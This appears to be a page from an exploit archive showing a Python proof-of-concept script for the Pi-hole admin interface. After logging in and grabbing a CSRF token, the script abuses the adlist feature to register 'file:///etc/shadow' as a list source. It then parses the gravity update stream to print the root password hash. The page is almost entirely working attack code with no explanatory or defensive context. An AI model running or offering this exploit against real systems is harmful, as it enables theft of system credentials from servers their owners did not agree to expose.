4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import sys
import requests
from bs4 import BeautifulSoup
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def log_in(base_url, password):
    url_login = f"{base_url}/admin/login.php"
    login_data = {
        'pw': password
    }

    headers = {
        'Content-Type': 'application/x-www-form-urlencoded',
    }

    with requests.Session() as session:
        session.verify = False
        response = session.post(url_login, data=login_data, headers=headers)

        if "Wrong password" in response.text:
            print("Login failed. Incorrect password.")
            return None
        else:
            print("Log In Success")
            return session

def extract_csrf_token(html):
    soup = BeautifulSoup(html, 'html.parser')
    token = soup.find(id="token")
    
    if token:
        print(f"CSRF Token Obtained: {token.text.strip()}")
        return token.text.strip()
    else:
        print("CSRF token not found on the page.")
        return None

def access_adlists(session, base_url):
    url_adlists = f"{base_url}/admin/groups-adlists.php"
    response = session.get(url_adlists)

    if response.status_code == 200:
        return extract_csrf_token(response.text)
    else:
        print("Error accessing 'groups-adlists'. Status code:", response.status_code)
        return None

def add_shadow(session, base_url, csrf_token):
    url = f"{base_url}/admin/scripts/pi-hole/php/groups.php"

    data = {
        'action': 'add_adlist',
        'address': 'file:///etc/shadow',
        'comment': '',
        'token': csrf_token
    }

    headers = {
        'X-Requested-With': 'XMLHttpRequest',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
    }

    response = session.post(url, data=data, headers=headers)

    if response.status_code == 200:
        print("Reading /etc/shadow file")
    else:
        print("Error adding '/etc/shadow' file. Status code:", response.status_code)

def search_in_response(session, base_url):
    url = f"{base_url}/admin/scripts/pi-hole/php/gravity.sh.php"

    headers = {
        'Accept': 'text/event-stream',
        'Cache-Control': 'no-cache',
        'Sec-Fetch-Site': 'same-origin',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Dest': 'empty',
        'Referer': f"{base_url}/admin/gravity.php",
    }

    response = session.get(url, headers=headers)

    if response.status_code == 200:
        for line in response.iter_lines(decode_unicode=True):
            if line.startswith("data:         - \"root") and ":::" in line:
                # Extract only the desired part of the line
                desired_part = line.split('"')[1]  # Split the line at the quotes and take the second element
                print(desired_part)
                break
    else:
        print("Error obtaining the response. Status code:", response.status_code)

def main():
    if len(sys.argv) != 3:
        print("Usage: script.py <Base URL> <password>")
        sys.exit(1)

    base_url = sys.argv[1]
    password = sys.argv[2]

    session = log_in(base_url, password)
    if session:
        csrf_token = access_adlists(session, base_url)
        if csrf_token:
            add_shadow(session, base_url, csrf_token)
            search_in_response(session, base_url)

if __name__ == "__main__":
    main()